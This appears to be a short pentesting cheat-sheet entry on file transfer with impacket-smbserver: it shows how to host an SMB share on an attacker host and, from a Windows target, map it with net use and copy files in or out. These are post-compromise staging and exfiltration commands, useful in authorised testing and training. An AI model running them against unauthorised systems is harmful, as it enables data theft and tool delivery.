File Transfer with impacket-smbserver
Pivoting & Transfertool
Summary
Spins up an authenticated SMB share on the attacker host so a Windows target can map it and copy files in or out.
Walkthrough
Use this to move files to/from a Windows target by hosting your own SMB share with Impacket.
Steps
- On the attacker host, start the SMB server sharing the current directory with
impacket-smbserver, setting a user/pass (smb2 support helps modern Windows). - On the Windows client, map the share with
net use \\<IP>\share /USER:test. - Copy files to or from the mapped share, e.g.
copy \\<IP>\share\*.
Commands
bash
impacket-smbserver share ./ -smb2support -user test -pass ''
cmd
net use \\<IP>\share /USER:test copy \\<IP>\share\*